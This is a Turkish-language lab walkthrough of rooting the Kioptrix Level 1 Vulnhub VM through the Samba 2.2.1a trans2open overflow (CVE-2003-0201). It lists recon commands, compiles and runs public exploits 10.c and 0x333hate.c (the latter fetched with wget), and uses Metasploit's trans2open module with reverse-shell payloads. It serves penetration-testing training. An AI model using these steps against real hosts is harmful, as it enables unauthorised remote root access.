Yazıda kullanılan Kioptrix: Seviye – 1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
nmap aracı ile port taraması gerçekleştirildiğinde TCP/139 portunda SAMBA servisinin kullanıldığı görülmektedir.
nmap -Pn -n –open -sV 10.10.2.174 -p139
smbclient aracı ile SAMBA servis sürümünün 2.2.1a olduğu tespit edilebilir.
smbclient -L 10.10.2.174 -N
SAMBA servisinin sürüm keşfi için enum4linux aracı da kullanılabilir.
enum4linux -o 10.10.2.174
MSF smb_version auxiliary modülü ile de SAMBA servisinin sürümü keşfedilebilir.
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.2.174
run
SAMBA 2.2.1a sürümünde (ve bazı diğer sürümlerde) “trans2.c” içerisindeki call_trans2open fonksiyonunda bellek taşma zafiyeti bulunmaktadır. Bu sürüme ait kodlar SAMBA sayfasından indirilebilir.
https://download.samba.org/pub/samba/old-versions/samba-2.2.1a.tar.gz
SAMBA 2.2.1a sürümündeki bu zafiyet ile kimlik bilgisi doğrulaması gerçekleştirilmeden SAMBA servisini çalıştıran kullanıcı yetkisi ile uzaktan kod çalıştırılabilmektedir. Detaylar için CVE-2003-0201 incelenebilir.
https://nvd.nist.gov/vuln/detail/CVE-2003-0201
Bu zafiyet 3 farklı yöntem ile istismar edilecektir.
1) 10.c Kodu ile SAMBA 2.2.1a İstismarı
Samba 2.2.1a istismarı için Exploit-db’den araştırma yapılabilir. Çevrimdışı araştırma için “searchsploit” aracı kullanılabilir.
searchsploit samba -t 2.2.1a
searchsploit samba -t 2.2.1
searchsploit samba -t 2.2.
Samba 2.2.1a istismarı için 10.c kodu kullanılabilir. Kod derlenip, kullanımı incelendiğinde hedef sistemin işletim sisteminin detayına ihtiyaç duyulduğu görülmektedir.
cp /usr/share/exploitdb/platforms/linux/remote/10.c .
gcc 10.c -o Samba2.2.1a_Istismari
./Samba2.2.1a_Istismari
Detaylı işletim sistemi taraması gerçekleştirildiğinde hedefin Linux olduğu görülmektedir.
nmap -Pn -n –open -p139 10.10.2.174 -A
Böylece istismar işlemi gerçekleştirilmiş ve “root” kullanıcı hakları ile erişim elde edilmiştir.
./Samba2.2.1a_Istismari -b 0 -v 10.10.2.174
uname -a
Not: Aynı zafiyet 7.pl betiği ile denendiğinde komut satırı elde edilememiştir.
cp /usr/share/exploitdb/platforms/linux/remote/7.pl .
perl 7.pl
perl 7.pl -t linx86 -H 10.10.2.128 -h 10.10.2.174
2) 0x333hate.c Kodu ile SAMBA 2.2.1a İstismarı
Samba 2.2.1a istismarı internette araştırıldığında SANS tarafından sunulan bir makaleye ulaşılabilir.
https://pen-testing.sans.org/resources/papers/gcih/0x333hatec-samba-remote-root-exploit-102967
Makale incelendiğinde 0x333hate.c adlı bir C kodu da tespit edilir. Bu kod derlendiğinde uyarı alınabilmektedir.
wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
gcc 0x333hate.c -o 0x333hate_Derlenmis
Derlenmiş koda hedef sistem verildiğinde zafiyet istismar edilmekte ve “root” yetkisine sahip olunmabilmektedir.
./0x333hate_Derlenmis
./0x333hate_Derlenmis -t 10.10.2.174
whoami
3) MSF trans2open Modülü ile SAMBA 2.2.1a İstismarı
Samba 2.2.1a istismarı için MSF trans2open modülü kullanılabilir.
use exploit/linux/samba/trans2open
show options
Hedef IP ayarlandıktan sonra modül çalıştırılır.
set RHOST 10.10.2.174
run
Ancak mevcut payload (linux/x86/meterpreter/reverse_tcp) ile bağlantı hatası alınmaktadır.
show options
Payload değiştirildiğinde ise, erişim elde edilebilmiştir.
set payload generic/shell_reverse_tcp
set LHOST 10.10.2.128
run
Benzer olarak “linux/x86/shell_reverse_tcp“, “linux/x86/shell/bind_tcp” gibi payload’lar da kullanılabilirdi.
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 10.10.2.128
run
id
uname -a
Kaynak:
https://pentestimonials.wordpress.com/2017/01/31/kioptrix-1/
https://blog.techorganic.com/2012/07/04/kioptrix-hacking-challenge-part-1/